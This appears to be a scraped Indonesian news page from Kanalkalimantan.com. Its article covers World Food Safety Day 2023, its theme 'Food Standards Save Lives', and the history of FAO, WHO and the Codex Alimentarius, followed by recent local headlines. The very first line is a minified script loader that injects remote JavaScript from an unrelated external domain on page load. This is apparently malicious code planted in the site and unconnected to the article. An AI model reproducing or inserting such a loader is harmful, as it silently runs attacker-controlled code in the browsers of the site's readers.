(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Infografis Kanalkalimantan

Hari Keamanan Pangan Sedunia 2023 ‘Standar Pangan, Menyelamatkan Hidup’


KANALKALIMANTAN.COM, BANJARBARU – Hari Keamanan Pangan Sedunia atau World Food Safety Day (WFSD) diperingati setiap 7 Juni.

WFSD sendiri diresmikan langsung oleh Perserikatan Bangsa-Bangsa (PBB) melalui Organisasi Kesehatan Dunia (WHO) dan Organisasi Pangan dan Pertanian (FAO).

Tema Hari Keamanan Pangan Sedunia 2023 yakni ‘Food Standards Save Lives’, berarti ‘Standar Pangan, Menyelamatkan Hidup’.

Ada pun tujuan diusungnya tema tersebut yakni untuk mengenalkan pentingnya standar pangan untuk menjaga keamanan konsumen, serta untuk menopang perdagangan pangan yang adil.

Baca juga: Ketua KY: Banyaknya Kasus yang Ditangani Seorang Hakim, Potensi Melanggar Etik

 

Sejarah Hari Keamanan Pangan Sedunia

PBB membentuk organisasi dunia, yakni Organisasi Pangan dan Pertanian Perserikatan Bangsa-Bangsa (FAO) pada 16 Oktober 1945, serta turut serta mendirikan Organisasi Kesehatan Dunia (WHO) pada 1948.

Kemudian pada 1950, FAO dan WHO melakukan pertemuan khusus membahas mengenai nutrisi, bahan tambahan makanan dan apa pun yang menyangkut dengan kesehatan dalam makanan.

Kemudian Majelis Kesehatan Dunia pada tahun 1953 mengumumkan sebuah peringatan mengenai ancaman bahan kimia dalam makanan. Tiga tahun berselang, diadakan evaluasi terkait masalah tersebut.

Baca juga: Tebar 40 Ribu Bibit Ikan Baung di Waduk Bandara Syamsudin Noor

Pada tahun 1961, muncullah yang namanya Komisi Codex Alimentarius atau Codex, yang dibentuk langsung oleh FAO melalui suatu konferensi.

Kesepakatan mengenai Program Standar Pangan dari FAO dan WHO yang melibatkan Codex tercetus pada 1963.

Maka dari itu, Codex jadi acuan untuk menetapkan standar keamanan dan kualitas makanan.

Codex punya misi untuk melindungi kesehatan masyarakat dan memastikan transparansi perdagangan pangan yang adil dan bersih.

Hal tersebut kemudian mendapat dukungan langsung dari FAO dan WHO, dimana standar tersebut lalu dikembangkan berdasarkan masukan dari 243 organisasi pengamat, termasuk di dalamnya asosiasi industri dan konsumen.

Baca juga: Proyek Jembatan Penghubung Pulau Kalimantan-Pulau Laut Dilanjutkan

Standa Codex itu pun jadi acuan keamanan pangan nasional yang digunakan pemerintah serta industri makanan.

Jauh setelah itu, pada tahun 2018, PBB akhirnya menetapkan Hari Keamanan Pangan Dunia yang difasilitasi langsung oleh WHO dan FAO pada 7 Juni di setiap tahunnya.

Hari Keamanan Pangan Sedunia itu sendiri tercetus untuk salah satunya sebagai edukasi terhadap masyarakat. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

Bawaslu Banjarbaru Dapati Dua Laporan Pelanggaran Jelang PSU

KANALKALIMANTAN.COM, BANJARBARU - Jelang pelaksanaan Pemungutan Suara Ulang (PSU) Pemilihan Wali Kota dan Wakil Wali… Read More

14 jam ago

Rudapaksa Anak di Aluhaluh Disebut Lima Kali, SY Ditangkap Polisi

KANALKALIMANTAN.COM, BANJARBARU - Aksi amoral diduga dilakukan seorang lelaki warga Kabupaten Banjar melakukan perbuatan tak… Read More

14 jam ago

Wagub dan PUPR Kalsel Kunjungi Stadion 17 Mei

KANALKALIMANTAN.COM, BANJARMASIN - Pelaksana Tugas (Plt) Kepala Dinas PUPR Kalsel, M Yasin Toyib mendampingi Wakil… Read More

17 jam ago

Modus Sewa Motor di Banjarbaru, Sigit ‘Larikan’ Yamaha NMAX hingga Sampit

KANALKALIMANTAN.COM, BANJARBARU - Seorang laki-laki berusia 36 tahun diringkus polisi setelah ‘larikan’ sebuah sepeda motor… Read More

17 jam ago

Muscab ke-VII IBI HSU, Ini Kata Wabup Hero Setiawan

KANALKALIMANTAN.COM, AMUNTAI - Wakil Bupati (Wabup) Hulu Sungai Utara (HSU) Hero Setiawan menilai peran strategis… Read More

18 jam ago

Banjar Preneur Fest Digelar di Q Mall Selama Dua Hari

KANALKALIMANTAN.COM, MARTAPURA -  Wakil Bupati Banjar Habib Idrus Al Habsyi menyampaikan apresiasi yang setinggi-tingginya kepada… Read More

1 hari ago

This website uses cookies.